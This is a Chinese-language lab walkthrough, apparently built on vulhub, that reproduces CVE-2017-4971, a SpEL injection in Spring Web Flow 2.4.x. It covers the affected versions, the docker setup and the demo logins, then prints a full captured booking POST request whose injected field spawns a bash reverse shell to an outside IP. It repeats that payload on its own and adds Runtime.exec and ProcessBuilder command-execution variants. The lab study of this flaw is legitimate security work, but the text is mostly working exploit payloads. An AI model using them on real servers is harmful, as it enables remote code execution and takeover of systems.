漏洞简介
Spring Web Flow是Spring的一个子项目 , 主要目 的是解决跨越多个请求的、 用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
在其 2.4.x版本中, 如果我们控制了数据绑定时的field, 将导致一个SpEL表达式注入漏洞,从而造成任意命令执行。
影响版本
Spring Web Flow 2.4.0 - 2.4.4
触发漏洞需要的两个条件
1
2
3
|
1.MvcViewFactoryCreator对象的 useSpringBeanBinding参数需要设置为 false(默认值)
2.flow view对象中设置 BinderConfiguration对象为空
|
环境搭建
1
2
|
root@ubuntu:/mnt/vulhub/spring# cd CVE-2017-4971/
root@ubuntu:/mnt/vulhub/spring/CVE-2017-4971# docker-compose up -d
|

复现过程
点击Login,可以看大账号/密码,这里我们随便选择一个进行登录。
1
2
3
4
|
keith/melbourne
erwin/leuven
jeremy/atlanta
scott/rochester
|

访问id为1的酒店,点击”Book Hotel“预定按钮。



填写一些数据,点击Proceed按钮。
1234567912312312


在点击Confirm
的时候进行抓包,此处存在命令执行,可反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
POST /hotels/booking?execution=e2s2 HTTP/1.1
Host: 192.168.197.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Origin: http://192.168.197.140:8080
Connection: keep-alive
Referer: http://192.168.197.140:8080/hotels/booking?execution=e2s2
Cookie: JSESSIONID=4652D2318569E57A87C35C86F4391EDD
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_eventId_confirm=&_csrf=9285d191-3a38-4790-a4e0-8862b1bde6c6&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.197.129/10086+0>%261")).start()=vulhub
|
反弹Shell代码:
1
|
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.197.129/10086+0>%261")).start()=vulhub
|

EXP拓展
执行命令
1
2
3
|
&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
或者
&_(new+java.lang.ProcessBuilder("touch /tmp/success2")).start()=test
|